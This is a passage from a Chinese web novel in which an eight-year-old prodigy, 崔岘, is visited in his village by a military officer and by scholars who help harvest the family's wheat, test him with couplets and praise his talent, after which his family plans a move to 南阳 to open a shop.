竟然是正五品的南阳卫千户大人! 里长吓得腿一哆嗦,差点没站稳,磕磕巴巴行礼:“草民叩见千户大人!” 他这辈子,都没接待过品阶如此高的老爷! 其余河西村的村民们,也都震惊又慌乱。 如此尊贵的千户老爷,来他们村子,所为何事? 该不会是为了征兵?! 这样想着,很多人脸色都白了,吓得两股颤颤。 这时候,却见千户大人摆摆手,语气和睦:“老翁请起,我和你打听一个人,他叫做崔岘,今年八岁。” 高奇在旁边道:“对对,岘哥儿!你知道吧?他家住在哪里?我是他最好的兄弟,来他家探望的!” 里长闻言傻了,简直不敢相信自己的耳朵。 其余河西村的村民们,也傻眼了! 千户大人和他家的公子,来河西村,是为了探望崔家岘哥儿? 这小公子,还自称是岘哥儿的好兄弟? 老天啊! 见里长一直没说话,高奇狐疑道:“难道找错地方了?不应该啊,这里就是河西村……” “没找错,没找错!” 里长反应过来,涨红着脸道:“小公子,千户老爷,劳烦您在此等候,老朽这就去把岘哥儿寻来!” 不等高奇回应。 里长激动的跑回村,去喊人了。 高奇不满道:“走这么快,不听人把话说完!我来找我兄弟,你指个路我自己登门就行,喊他出来做什么!万一岘弟误会我摆架子怎么办?” 高千户安慰儿子:“咱们贸然登门,都没提前打招呼,岘哥儿家里总要有个准备。” 高奇一想也是,便在原地等待着。 其余河西村人听到父子二人的谈话,满脸呆滞、不可思议。 难不成…… 落魄许久,被大家瞧不起的崔家,真的要发达了? 千户大人和公子亲自登门来探望,还担心崔家岘哥儿会生气? 老天啊! 随着里长去喊人。 不出半盏茶功夫,全村都轰动了。 大量的村民们都满脸震惊的出来打探情况。 在里长的陪伴下。 崔岘,和同样神情晕乎乎的崔家人,走出村子。 高奇站在马车上,老远就瞧见了崔岘。 在无数河西村百姓倒抽冷气的注视下。 便见千户家的小公子跳下马车,小跑着朝崔岘冲过去,语气激动热络:“岘哥儿!想不到吧哈哈哈哈,我来找你啦!哦对,还有我爹,和二十位身强力壮的好汉!” “我们来给你家收麦子来了!” 他话音落下。 村口霎时间一片安静。 无数河西村百姓嘴巴张得老大,满脸呆滞。 千户老爷如此威风凛凛来到河西村,竟然是为了…… 来给岘哥儿家收麦子?! 45、举人老爷、秀才相公登门 河西村口。 高奇这番话,恍若炸雷。 不仅把在场的村民们,炸到神情呆滞瞠目。 连崔家人都傻眼了! 千户大人带士兵来给自家收麦子? 娘嘞! 晚上做梦,都不敢做这样离谱的美梦啊! 老崔氏哆嗦着身子,下意识就要张口拒绝—— 她哪敢让千户老爷帮忙收麦子啊,会折寿的! 然而没等老崔氏开口呢。 便见崔岘捶了捶高奇的肩膀,惊喜道:“高兄!你简直就是及时雨啊,我家刚好正在头疼收麦子的事儿呢!” 说罢。 崔岘又看向高千户,和他身后一众壮汉,嘿笑道:“高叔,还有各位好汉叔叔们!多谢诸位大老远过来,给我家帮忙。” “收麦子可是个辛苦活儿,但大家放心,保证好饭好菜管饱,不让叔叔们白出一分力气。” 这话说得,多漂亮啊! 痛快,直爽,半点不忸怩怯场。 谁不喜欢这样的小孩呢? 那群跟在高千户身后的士兵们,都笑了。 高千户更是一甩膀子,调侃道:“岘哥儿,那你可得小心咯,我带来的这帮家伙,一个比一个能吃。” 听到这话,高奇很是不满:“哎呀,都没开始干活儿呢,就先惦记上吃饭啦!先干活儿!” 崔岘顿时看向祖母,提醒般说道:“祖母,咱们去田里吧。” 老崔氏回过神来,神情拘谨忐忑:“这……哎哟,哪能真让千户老爷,和各位军爷来出力气哟。” “祖母你好,你是岘弟的祖母,我也喊您一声祖母吧!” 高奇看向老崔氏,热情道:“祖母,我和岘弟是最好的兄弟,我们之间不用客气。” 高千户也道:“是极是极,不应客气。说起来,你家岘哥儿还是我家的恩人呢。多亏了岘哥儿,我家这小子才肯用心读书。” 高奇不满的撇撇嘴。 老崔氏听到这话,简直受宠若惊。 大伯母林氏则是欢喜到结巴了,看向那一群壮汉,犯了愁:“这……哎哟,这,家里也没有那么多镰刀可以用啊!” 最近天天因为收麦子的事情,愁的睡不着觉。 结果一转眼。 千户大人亲自带着士兵们,来给她家收麦子了! 还因为人太多,镰刀都不够用。 跟做梦似的晕乎! 而听到林氏这话。 里长,以及河西村的村民们,纷纷从震惊中回过神来,热情到不可思议。 “我家有多余的镰刀,先借你们用。” “对对,我家里也有。” “这么多军爷需要吃饭,我来帮你们搭把手做饭吧。” “我家有多余的碗筷!” 高奇年纪小、心思单纯,见状碰了碰崔岘的肩膀,赞叹道:“岘弟,你们村里人真好啊,热情好客。” 崔岘也不反驳,笑眯眯附和:“是啊。” 听到这话的河西村百姓们,神情羞愧又忐忑。 因为以前,他们可没少编排、笑话崔家呢! 老崔氏、林氏、陈氏等崔家人,看着热情到不像话的村里人,只觉得舒爽到浑身通畅。 天知道以往这些人,背地里是怎么看不上自家的。 现在,轮到崔家狠狠扬眉吐气咯! 千户老爷亲自登门,帮忙收麦子——这事儿能在河西村至少聊上半年! 而这一切,都是因为岘哥啊! 这孩子,太有出息了! 一家人看向崔岘,神情既骄傲,又振奋,还隐约……带着佩服。 因为千户大人,和那些士兵的气场太强大了。 别说老崔氏,就连崔仲渊、崔伯山兄弟俩,都很是拘谨。 但崔岘却半点不怵得慌,跟高奇、千户大人一路热络攀谈,介绍河西村。 等到了田里。 风吹麦浪,一片金黄。 高千户在得到崔岘‘送你整套七侠摩喉罗’的允诺后,只觉得浑身干劲,举起镰刀:“弟兄们,随我冲!” “冲啊!” “拿下这块麦田!” 二十多位好汉,干起活来那是真的生猛无比。 麦子一捆、一捆的割出来,速度惊人。 周围田地里的河西村村民们,看的无比眼热,但也只敢羡慕看着,半句闲话不敢吱声。 那给崔家收麦子的,可是千户老爷啊! 崔家人笑的合不拢嘴。 尤其是老崔氏,感觉自从丈夫死后,她几十年都没有笑的如此欢畅了。 因为今天的河西村人,热情到不像话。 甚至众人自发赶来,在田地外面支起大锅。 帮崔家烧火、做饭。 每一个过来帮忙的村民,先是目瞪口呆看着田地里奋力干活儿的千户大人,然后对老崔氏态度更加殷勤、热络。 大家都不傻。 崔家,绝对是要发达了啊! 但让整个河西村百姓都无法预料的是。 想到崔家要发达。 没想到——能这么发达! 当天下午。 千户大人还在崔家田地里吭哧吭哧收麦子。 全村百姓为此激动津津乐道的时候。 村口。 又有马车来了! 这次,足足有五辆马车! 这…… 看着这似曾相识的一幕,有人嘀咕道:“不会是又来找崔家岘哥儿的吧?” 结果还真是! 五辆马车在村口停下。 第一辆马车中,走出一位身穿襕衫,头戴方巾的古板中年男子,礼貌问道:“敢问诸位,这里可是河西村?我来寻崔家,崔岘。” 天呐! 在瞧见那古板男子走出来的瞬间,村民们齐齐瞪大了眼。 此人竟是位秀才公! 方巾,襕衫,是秀才公才能穿戴的! 没等村民们上前回话。 第二、第三辆马车里,先后走出一位中年男子,一位老者。 瞧见这两位,河西村的百姓们齐齐倒抽冷气。 比先前高千户来的时候,都更加震惊、激动! 因为这两位,不仅穿襕衫,而且还戴纱帽、扎腰带、穿皂靴! 也就是说,后出来的两位,是举人老爷! 大梁王朝重文轻武。 秀才公已经是极为厉害。 到了举人,那就是‘官老爷’了啊! “拜见举人老爷!” “举人老爷安好,草民给您磕头啦!” 因此。 在裴崇青、裴开泰父子现身后,无数河西村百姓纷纷激动跪拜叩头。 河西村里长,一天都在殷勤忙前忙后招待千户大人,和那群军爷。 好不容易歇息会儿。 结果听到汇报,有两位举人老爷、和一位秀才相公,也来寻崔家岘哥儿了! 什、什么? 老天呐! 里长一个咕噜爬起来,慌里慌张跑到村口激动叩拜、迎接。 其中那位年长的举人老爷摆摆手:“起来吧,崔岘家在何处,速速带我们过去。” 里长咽了咽口水:“好叫举人老爷知道,崔家岘哥儿不在家,在田地里呢。今日一大早,南阳卫千户老爷,和他的公子,来崔岘家,给他家收麦子来了。” 听到这话,年长的举人老爷脸色一僵。 另一位举人老爷脸色也不好了。 随后。 从第三辆马车里走出来一位锦衣华服的小公子。 那小公子恶狠狠瞪向两位举人老爷:“瞧吧!你们干的好事儿!我就说高奇那厮,不会放过这个好机会。” “你们一位秀才公,两位举人老爷,也别摆谱儿了,都去给岘弟家收麦子去吧!” 什、什么? 听到这话,全河西村人都被震惊到麻木了! 46、崔家文曲星 崔家,田埂上。 高奇累的浑身大汗,喘着气道:“原来收麦子,这么辛苦啊!” 他方才兴冲冲拿起镰刀干活儿。 结果才一盏茶功夫不到,就‘歇菜’了。 崔岘也没好到哪里去,躺在高奇身边不停擦汗。 高千户、以及那群士兵,和崔家大人们都还在地里忙碌。 几个小的在田埂树下歇息。 崔璇端了两碗凉水过来,笑道:“阿弟,小公子,喝点水解解渴。” 崔岘赶忙接过来,咕嘟嘟一饮而尽,只觉得浑身舒畅。 反倒是平日最能嚷嚷的高奇,忸怩道谢,然后斯斯文文的喝水。 哎呦! 屁大点的毛孩儿,这还害羞了呢。 崔岘在旁边怪笑。 惹得崔璇赧然着跑了。 高奇佯装羞恼:“好啊,岘弟,你敢笑话我。看我怎么收拾你!” 二人在田埂上闹腾。 在地里割麦子的崔钰,也很快被祖母打发过来歇息,手上还拎着一个布书袋。 “崔钰,快来歇息,喝些水解渴。” 高奇自来熟,笑问道:“你手上提的这是?” 崔钰喝了水,在二人旁边坐下。 随后从布书袋里掏出一沓纸张,认真道:“我在私塾开蒙后,学着写的字,以及摘抄的《三字经》。” “阿弟,给你。这段时间,我先教你开蒙。” 拿着阿弟去做书童的钱开蒙,崔钰心里始终有个疙瘩。 因此。 他把在学堂到的知识点都记下来,然后再回来教给阿弟。 可听到崔钰这话的高奇,却神情古怪。 岘弟……还用学《三字经》吗?他现在所有的启蒙书籍都已经轻松学会了吧! 还没等高奇把心里话说出来。 里长的声音,大老远传了过来,把在田间收麦子的人们,都震得人仰马翻。 “岘哥儿!崔家嫂子!裴府两位举人老爷,和裴氏族学的秀才相公,来探望你们啦!” 什、什么? 两位举人老爷! 哎呦我的亲娘嘞! 许多干活的村民们抬起头,瞧见里长身后那几位身穿襕衫的男子,慌忙丢下镰刀,赶来叩拜。 崔家人晕乎乎看向那边,简直不敢相信自己的眼睛。 老崔氏定睛一看,涨红着脸道:“穿襕衫,戴纱帽、扎腰带、穿皂靴,确实是举人老爷没错!” “他们……也是来找岘哥儿的?” 她高兴的嘴角都笑僵了。 唯有高千户、高奇父子俩神情愤愤。 裴家这铁定是反悔了,准备把岘哥儿要回去啊。 真是无耻! 听到动静的崔岘惊讶道:“大哥怎么来了?还有吴夫子、以及两位裴家的老爷。” 他料到吴夫子会来。 却完全没料到,两位举人老爷竟也来了! 高奇嘟囔道:“还能因为什么,来抢人呗。” 但裴坚过来以后,还真没有第一时间‘抢人’。 他高声激动嚷嚷道:“岘弟!总算是找到你了。吴夫子,还有我爹,我祖父,都说你是旷世奇才!” “说你写了什么字帖,是未来书圣,还说你写的那首《咏鹅》,比赵耀祖那厮的《咏新竹》好上千倍万倍。” 啊? 高奇懵了。 听到这话的崔家人、河西村百姓们也都懵了。 吴清澜嫌弃的将裴坚推开,激动看向崔岘,脸色涨红,一副看‘宝贝疙瘩’的表情:“崔岘,终于找到你了!” “太好了!总算找到你了!” “南阳最厉害的神童天才,不,河南,乃至全大梁最厉害的天才!” “老夫找你找的好苦啊!” 听闻此话,在场无数人瞪大双眼。 老崔氏更是浑身一震,浑浊的眸子里浮现出激动的光。 但让大家呆滞的是,秀才公,和两位举人老爷,似乎比他们更加激动、急迫。 裴开泰一把推开吴清澜,不满道:“不要说这些大家都公认的事实!要先确定一些问题!” “崔岘,我来问你。你是否在族学耳房里,写下三张字帖!” “第一张,是你第一次开蒙写字。第二张,是你第二天写字。第三张,是你学会写字,一个月后写的。” 崔岘眨眨眼,自责道:“是的。我第一次写字,是临摹案上别人写的字帖。写的不好,还被夫子责骂朽木呢。” 吴清澜愧疚到无法呼吸。 随后在所有人瞠目的注视下,他竟然给崔岘执手鞠躬致歉:“是老夫眼拙,误把天才当朽木!老夫愧对于你啊!” “你的字迹,灵气十足潇洒飘逸,日后勤学苦练,这大梁……” “不!大梁王朝往前推五百年,再往后推五百年,文坛书法界,都必将有你的一席之地!” “你,注定会成为被士林人人敬仰的书圣啊!” 裴开泰连连点头:“清澜兄说的没错!崔岘,你可知你天赋有多惊人,绝对我生平仅见!” 四周围一片安静。 所有人都震惊的看向八岁的崔岘,心中回过味儿来。 举人老爷和秀才相公来找岘哥儿,是因为这孩子,读书天赋顶呱呱啊! 原本激动的老崔氏,和崔家人,全都呆愣住了。 他们甚至以为自己出现了幻听。 但紧接着。 裴崇青一把将儿子裴开泰推开,急急看向崔岘:“崔岘,老夫来问你。那《咏鹅》是你作的诗?” 崔岘点点头:“是呀。” 裴崇青深吸一口气,更加激动的问道:“可是,你都没开蒙,怎么会作诗呢?” 吴清澜、裴开泰也都看向崔岘。 崔岘理直气壮道:“我开蒙了!写字是在族学耳房里,自己临摹学会的。至于开蒙的书籍,《龙文鞭影》等等,是我大哥教我的。” “至于作诗,我读完了《声律启蒙》,所以就会了啊。” 众人:“……” 这对吗? 唯有高奇、裴坚对此见怪不怪。 因为岘弟一直都这么妖孽啊! 裴开泰看着崔岘,嘴巴嗑动许久,愣是不知道该说什么好。 他猛然想到什么,转身看向儿子:“当时你说,崔岘跟着读一遍《千字文》就学会了,是真的?” 裴坚撇撇嘴:“自然是真的。而且这算什么,岘弟还一下午背会《龙文鞭影》呢。” 嘶! 裴崇青、裴开泰、吴清澜三人倒抽一口冷气。 而这次,整日在家读死书的崔伯山、崔仲渊同样震惊看向崔岘。 先前那些,超纲了,他俩一时间都有些无法理解,不敢置信。 但一下午背会《龙文鞭影》—— 那得是什么妖孽啊! 老天! 吴清澜激动到原地跺脚,最后竟仰天大笑,一边喊‘绝世天才’,一边喊‘老夫太激动了,割一亩地冷静冷静’。 说罢,竟真的在众人呆滞注视下,去割麦子了! 裴崇青紧跟其后,直呼‘当代文曲星’,也去激动割麦子冷静去了! 眼看这俩人一个比一个不靠谱。 裴开泰紧紧攥住崔岘的手,生怕小天才跑了,而后激动看向老崔氏:“您就是崔岘的祖母吧?敢问,您是否愿意赏脸,让岘哥儿来我裴氏族学开蒙?” “您放心,我们一定给他最好的教导!” 听到这话,老崔氏再也忍不住,竟当众激动到泪流满面。 老天爷啊! 她盼望了这么多年,终于给崔家盼来一个文曲星了啊! 而这震撼一幕,则是让河西村的百姓们,记了很多年都无法忘却。 那个炎热夏日。 两位举人老爷,一位秀才相公,激动站在田埂处,对崔家只有八岁的岘哥儿说: 这孩子,绝对是当代文曲星! 47、对对子 面对神情激动的裴开泰。 老崔氏嘴巴嗑动许久,红着眼睛泣声小心问道:“这位举人老爷,您说岘哥儿读书很有天分,可是真的?” 幸福来的太过突然。 她生怕这是一场梦啊! 裴开泰点头:“当然!我此生都没见过,比你家岘哥儿更有天分的读书种子了!” “他不仅仅是天才,称作当代文曲星都不为过!” 太好了,太好了! 老崔氏嚎啕大哭,看向四周:“听到了吗?你们听到了吗?举人老爷都夸赞我们家岘哥儿是当代文曲星。” “我坚持让家里人读书是没错的,是没错的啊!” 村里人见状,自然一改先前的嘲讽,唏嘘附和。 谁能想到呢。 先前落魄到揭不开锅的崔家,竟然翻身了。 而且还翻身的如此漂亮! 陈氏、林氏,以及崔伯山、崔仲渊,都神情激动,笑的合不拢嘴。 他们崔家,总算是苦尽甘来了啊! 见老崔氏一直没正面回应自己。 裴开泰急了:“您得给句准话啊,让岘哥儿来裴氏族学开蒙,您看行吗?我做主,每月补贴岘哥儿五两银子的生活开支!” 嘶! 每月五两银子! 老天爷啊! 听到这话,村民们羡慕的眼珠子都快要瞪出来了。 别人开蒙要出钱。 到了岘哥儿这里,不仅一分钱不用出,反而还倒给钱呢! 老崔氏也吓了一跳,赶忙摇头:“不妥不妥!岘哥儿能去裴氏族学开蒙,是这孩子的福气,我们不能收钱。” 裴坚揽住崔岘的肩膀,对老崔氏笑嘻嘻道:“祖母,您就收下吧,不收下的话,我爹心里不安生。” “你且等着吧,不出意外的话。再过些天,全南阳的族学,都会上赶着来抢夺岘哥儿的。” 裴家不缺这点钱。 但一个从裴氏族学里走出来的‘诗圣’、‘书圣’,以后能让裴家跟着名满天下的! 这笔投资,划算的很! 裴开泰闻言狠狠瞪了一眼自己不成器的儿子。 等老崔氏答应,让岘哥儿去裴氏族学读书,他这才松了口气。 老崔氏开心到晕乎,经由儿媳林氏提醒,猛然一拍脑门:“哎哟,秀才相公和举人老爷,还在地里收麦子呢!这可如何使得!” 众人闻言,看向地里激动收麦子的吴清澜、裴崇青,哄笑出声。 这天,崔家是真风光呐。 一整天下来,村里都在谈论崔家出了个神童。 甚至十里八村都听到风声,轰动不已,来河西村凑热闹。 两位举人老爷的存在,实在太‘权威’了! 大量不认识的陌生人,为了讨好举人老爷,竟自发来给崔家收麦子。 整整三十亩地的麦田,短短一天都给收完了! 夜晚。 明月高悬,星光漫天。 夏夜凉风裹挟着麦穗的清甜,在田野间簌簌吹过。 蛙叫、蝉鸣、犬吠声不断。 更远处。 水塘里荷花开的正艳,萤火虫斑斑点点。 忙碌了一天的人们,在田埂处歇息、纳凉、闲谈。 崔岘、高奇、裴坚几人背靠背,嘻嘻哈哈笑闹。 而裴崇青、裴开泰、吴清澜三人,则是在不停使眼色。 最后由年纪大的裴崇青轻咳一声,温声笑道:“崔岘,老夫闲着无趣,我们来玩个对对子的游戏罢?” 虽说知道这孩子是神童,但…… 难免还是想要再考教一番呐! 听闻这话,崔家人都有些神情紧张。 崔岘站起来,也跟着笑道:“好啊,裴祖父,您先讲讲规则。” 裴崇青道:“以四周围景物为题,我出上联,你对下联,如何?你读过《声律启蒙》,应该知道对对子的规矩。” 崔岘点头:“我知道的,裴祖父,那开始吧。” 见有热闹看,众人纷纷围了上来。 高奇、裴坚则是在旁边,给岘弟加油鼓劲。 崔钰眼睛也亮亮的。 他本还想着,自己教阿弟开蒙,结果阿弟比他想的,要厉害千百倍! 身为兄长,他格外高兴自豪。 裴崇青坐在田埂上,四处张望,而后眼睛亮起来:“有了,崔岘你且听好了,我这上联是:镰月割云收夜色。” 一句对子,竟是动字、名物字结合了。 裴坚立刻嚷嚷道:“太难了,祖父你欺负人!” 高奇苦苦思索,甚至拿出《声律启蒙》翻阅,试图找到答案。 就连崔伯山、崔仲渊兄弟俩,都在暗中作对。 在众人的注视下。 就见崔岘不慌不忙环视一圈,指着旁边干农活儿的工具,笑道:“我想出来了,下联是:箕星簸谷撒天光!” 吴清澜当即叫好,夸赞道:“妙极妙极!好一个箕星簸谷撒天光!” 不是,你真会啊? 刚才叫嚷‘欺负人’的裴坚转过身,表情讪讪,随后又朝着崔岘竖起大拇指。 厉害! 像是这种‘限定题’。 不仅要有学识,还得有极快的反应能力,将眼前的一景、一物快速组合起来。 还得对应上联内容! 因此仅是一个对子出来,裴崇青三人就知道了,岘哥儿这孩子,绝对是个有本事的! “好!” 裴崇青赞叹一声,又稍作沉思,笑道:“我这第二联,是:银河泻地成金浪!” 崔岘笑眯眯指向旁边堆积起来的谷堆:“玉斗倾天化麦山!” 好生敏捷的才思啊! 这下,裴崇青是真惊讶了。 他眼珠一转,指向自己,朗声笑道:“老叟笑谈丰岁事!” 不愧是举人老爷。 出题信手拈来不说,竟然还把‘自己’给糅合进了对联里。 这一联,好答,也不好答。 好答是因为难度不大。 不好答,是因为怎么样才能像裴崇青一样,不着痕迹的,也把自己写进对联里呢。 崔岘这次停顿了一会儿,陷入思索。 裴崇青见状嘿嘿怪笑。 吴清澜、裴开泰对此很无言——老爷子的恶趣味,欺负小孩。 其余的崔家人、河西村百姓们,则是看的津津有趣。 虽然大字不识,但不妨碍大家喜欢看这种‘舞文弄墨’的趣事呀。 而后。 在场间所有人惊艳、佩服、惊叹的注视下。 便见崔岘眼睛亮起来:“有了!” 裴崇青惊讶道:“这么快?你可要想好了再答哦,这对子可不是表面上那般简单。” 崔岘笑道:“我想到了三个。” 三个? 裴坚、高奇顿时汗颜:他俩一个都想不到。 崔仲渊、崔伯山兄弟俩也有些脸红,他们连八岁岘哥儿都不如嘞。 裴崇青有些不太信:“哦?哪三个,你说说看。” 有风拂过田埂,池塘里的萤火虫,随风飞了过来。 皎洁月光下。 崔岘轻轻跳起,双手合掌抓住一只萤火虫,笑的格外灿烂:“我这第一个下联是:稚童合掌捕流萤!” 落地后。 他摊开手掌,将萤火虫放飞,接着侧耳做倾听状:“我这第二个下联是:稚童侧耳译虫书!” 接着。 他最后笑眯眯指向身后,正拿着《声律启蒙》争相翻阅的裴坚、高奇、崔钰三人。 笑道:“我这最后一个下联是:稚童争诵古贤经!” 裴崇青听后,赞叹道:“好,好啊!” 哇! 太厉害啦! 高奇、裴坚、崔钰三人很给面子的发出欢呼。 村民们反应过来,纷纷跟着鼓掌。 崔家人激动的脸色发红,骄傲极了。 明亮的夜色下。 一口气答出三个下联的崔岘眉眼带笑,黝黑的眸子清亮,虽然稚嫩,但脊梁笔挺,自信而立。 比月光都耀眼! 48、举家搬迁(上) 这场对对子的小游戏,在众人的欢呼、惊叹中落幕。 若是先前,村民们对岘哥儿的‘天才’之名还抱有怀疑。 那过了今夜,便再也不会有了。 哎哟,举人老爷出的题目,咱们连听都听不懂。 人家岘哥儿一次能对上来三个! 难怪举人老爷、和秀才相公,都争相夸赞岘哥儿是当代文曲星哩。 这孩子以后—— 不对,岘哥儿现在已经开始有大出息啦! 今日崔家的风光,全凭岘哥儿挣来的啊。 河西村的百姓们,羡慕的眼睛都在滴血,对崔家也越发热情、殷勤。 今日来崔家拜访的人太多了,家里根本住不下。 于是各家各户自发帮忙。 将高千户带来的士兵们,以及裴家人,安顿到自家留宿。 这一晚。 老崔氏躺在床上,嘴角都笑僵了。 只觉得浑身轻飘飘,仿佛置身美梦当中,连睡着的时候,脸上都带着笑。 二十年了啊! 她从未像今日这般开心、舒坦。 因为睡的太香甜,竟罕见的起迟了,醒来已是日上三竿。 院子里格外热闹。 大着肚子的陈氏,在张罗招待客人。 林氏则是带着一帮村里的女人,给大家做早食。 平日舍不得吃的鸡蛋,今日也非常大方的都拿出来——不能让人家白来帮忙干活儿呀! 崔家两兄弟,则是在向裴崇青虚心讨教学问。 看着这热闹的一幕,老崔氏又忍不住开始笑。 真好啊! “嫂子,哎呦你总算是起来啦。” 同村的女人瞧见老崔氏,语气带着羡慕,以及热络恭维:“方才都想去喊你,结果你家媳妇儿说啦,说你这些年都没睡过一个好觉,让你多睡会儿呢。” 老崔氏闻言,看向陈氏、林氏,笑的眼睛都眯起来:“老婆子我这两个儿媳妇,都是好的。你们呐,羡慕不来哟!” 陈氏、林氏被夸得有些赧然。 这些年,家里人互相扶持、体谅,都不容易。 好在,如今苦尽甘来了啊! 而凭借一己之力,将这个落魄之家托举起来的崔岘,正在跟裴坚、高奇几人闲聊。 打算给崔家人谋划个好营生呢。 门口的大槐树下。 裴坚嘴里叼着一根狗尾巴草,笑嘻嘻看向崔岘:“岘弟,现在你家麦子也收完了,要不你今天跟我回去吧。” 旁边,高奇使劲翻了个白眼。 真是生怕别人把你小弟抢走了是吧? 臭德行! 崔岘闻言摇摇头:“大哥,我想在家再待些日子。一是我娘马上要生了,二是,我想说动家里,搬到南阳县去。” 听到这话,旁边的崔钰一怔。 高奇、裴坚举双手赞成:“可以啊!到时候有什么要帮忙的,你只管开口。” 崔岘笑道:“还真需要你们帮忙。首先是要租赁房屋——” 他话没说完,两位大哥都目露不满。 崔岘摆摆手:“听我说完。我们举家搬迁,岂能住在二位大哥家里?我想着,先租赁房屋。然后再去租个铺面,做《虹猫蓝兔七侠传》的摩喉罗来售卖。” “这个生意,将来估计能做挺大的。大哥,高兄长,还有鹤聿兄,庄瑾兄,我做主,给你们四人,每人一成干股。” “不要忙着拒绝,我崔岘能有今日,少不得四位大哥扶持。” “如今我过得好了,自然也该拉着大哥们一起发财。有你们四个庇佑,我这店铺,将来绝对安稳,财源广进。” “而你们也能有个进项,自己赚钱,总好过张口管家里要钱来的舒坦,对不对?” 听到这话,裴坚、高奇都没有再推辞。 二人不愿意占岘弟便宜。 最后一人拿出来二十两,作为‘启动资金’入股。 高奇更是兴奋道:“那岂不是说,咱们很快就能拥有一家属于自己的店铺了?” 他们几个都是10岁左右。 这般年纪,要是有个日进斗金的铺面,那真的很了不得啊! 裴坚也很感兴趣:“《虹猫》话本爆火,摩喉罗生意肯定也不会差。” “岘弟,我真是佩服你!敢想,也敢做!” “小小年纪,又是出话本,又是写诗,现在又要开店铺。给你做大哥,我很有压力啊。” 高奇撇撇嘴:“那你把岘弟让给我。” 裴坚佯装没听到这话,继续道:“岘弟你放心,你家房屋租赁的事情,交给我去办。保证找的房子宽敞又便宜。” “店铺租赁开张,去找庄瑾。摩喉罗生产,李鹤聿来解决。” “至于后续的安全问题……” 高奇一瞪眼:“谁敢来咱们店铺闹事儿,我找南阳卫的好汉们,打到他满地找牙!” 看,这就是好大哥啊! 崔岘笑的眉眼弯弯。 旁边崔璇、崔钰姐弟俩,目瞪口呆的听着,脸色呆滞—— 怎么这么大的事情,到了岘弟这里,如此轻松随意的,就给解决了呢? 阿弟,真的好生厉害啊。 三个小兄弟闲谈一番,就把开店铺的事情定下了。 吃过早食,高千户和那群士兵,以及裴家等人,都要离开了。 临行前。 高千户偷偷跟儿子咬耳朵:“儿子,你此次过来,不是为了抢夺岘哥儿的吗?怎地到了以后,竟一句不提了。” 没想到,高奇却认真道:“爹,我是真心拿岘弟做朋友的。他不是仆从物件,这个赠过来,那个抢过去。” “他是我兄弟,不管在谁家,都是我兄弟。” “裴坚肯定也是这样想的,你看,他来了河西村,也没提一句要抢夺岘哥儿啊。” 高千户听得万分感慨。 他欣慰道:“我儿真是长大了!你放心,为父支持你。岘哥儿有读书天资,你跟着他学,不能像以前那般,荒废学业了。” 高奇重重点头。 而裴家在离开前,把足足装满两个马车的礼,都搬进了崔家院子。 那些礼,全用锦盒装着。 虽然看不到是什么,但必定贵重的很。 周围河西村百姓们看的眼睛都直了。 但有高千户和这群士兵在,他们连眼神都不敢乱瞟。 老崔氏哪肯收啊,连连拒绝。 裴坚笑道:“祖母,您快都收下吧,这都是我们几家先前送给岘弟的。” “我们今日先走了,过些时日,咱们南阳见。” 老崔氏尚且没听懂这话的含义,以为只是客套呢。 见两大车厚礼,把自己院子都摆满了,她激动的甚至有些惶恐。 平白收人家这么多东西,实在于心难安呐! 但裴家两位举人老爷,以及吴清澜夫子,比她更难安。 吴清澜走之前,拉着崔岘的手不肯放开:“好孩子,若不是你母亲快生了,老夫怎么都要把你先拐去族学,以免夜长梦多。” 经过昨夜对对子的考教,几人彻底认识到了崔岘的天资。 裴崇青同样舍不得走。 他看向崔岘的眼神,犹如在看稀世珍宝,不停反复念叨:“岘哥儿,咱们可说好了。在家住段时间,一定要来裴氏族学读书啊。你要是去了别处,老夫我这颗心,怕是有点遭不住。” 说罢。 这老头还跟戏精似的,苦兮兮捂住胸口。 众人看得啼笑皆非。 裴坚毫不客气的揭他祖父的短:“现在知道宝贝了?不是你把我小弟送人的时候。” 崔岘闻言好奇道:“送人?” 裴崇青神情讪讪,而后茫然道:“送人?什么送人?老夫不知啊。” 49、举家搬迁(下) 高家父子、裴家祖孙三人、以及吴清澜坐马车走了。 河西村其余百姓们,也都各自散去。 闹哄哄的崔家,一下子就冷清下来。 但所有人都知道—— 崔家的门庭,以后再也不会‘冷清’了。 甚至很多河西村百姓回去后,心想:要不也咬咬牙,送自家孩子去开蒙? 万一家里也出个跟岘哥儿似的文曲星呢! 崔家院子里。 等人都走了,大伯母林氏赶紧把门关上。 随后看向摆满一整院子的礼盒,调侃陈氏:“弟妹,赶紧把这些好东西都收起来,不然我看着实在眼热。” 陈氏大方笑道:“咱一起来拆开看看都有什么。大嫂喜欢哪个,我做主,先送你!” 一家人闻言都跟着笑。 众人合力,把这些礼盒搬进堂屋,一件一件打开。 然后不出意外,发出没见过世面的惊叹。 “娘嘞!这是……鎏银长命锁,玳瑁框象牙算盘!” “这是松烟墨锭?太贵重了!” “竹胎兔毫笔,甚至连书拨都是黄铜制的!” “还有青砖雕花制的镇纸!” 这……别说崔家的女人,连崔伯山、崔仲渊兄弟俩都惊呆了。 全都是精细、又昂贵的好东西啊。 陈氏让林氏挑几件。 林氏连连摇头,这么贵重的东西,她哪敢收? 怕烫手啊! 老崔氏看着这些贵重礼品,眸子里浮现出追忆:“当年咱家富贵的时候,住在南阳县城里,用的也是这些好物件。” 这次,她并非在痛苦忆往昔,而是笑着感慨。 人生大起大落,当真令人唏嘘。 不曾想。 崔岘笑着把话接过来:“祖母,当年咱家可以住在南阳县城。现在……也可以了啊。” 老崔氏一怔。 其余崔家人也都纷纷看向岘哥儿。 崔岘笑道:“如今咱们有钱了,孙儿也要去裴氏族学读书,自然要替家里打算一番。” “我那话本,赚了三十两基础稿酬。如今正在南阳县城畅销,听裴坚说,以后每月五两银子分成,应该不在话下。” 嘶! 每月五两?这哪里是话本,这是‘聚宝盆’啊! 见一家人瞪大了眼。 崔岘继续道:“话本卖得好,我想着,咱们搬去南阳,开家店铺做摩喉罗生意。” “我和阿兄去裴氏族学读书。” “爹、大伯这些年总在家里独学寡闻,也不是办法。到了县城,可以去县学深造。” “有夫子教导,他俩又肯学,以后必然进步飞快,桂榜高中!” “祖母您也不用日日以泪洗面,甚至把我爹、我大伯关进牛棚里了。” 听闻这话,崔伯山、崔仲渊眼睛亮起来。 老崔氏讷讷道:“岘哥儿,原来我把你父亲、大伯关进牛棚一事,你都知道了?本来还想瞒着你呢。” “至于你说的,搬去南阳,做生意……这容祖母再想想。” “咱家没做过生意,不懂门道。而且去了南阳,还得租赁房屋,寻摸店铺,找伙计,都要操心呢。” 其余崔家人连连点头。 崔璇、崔钰姐弟俩却互相对视,眼中带笑。 因为这些在老崔氏看来,极为困难的事情,阿弟都已经解决啦! 果然。 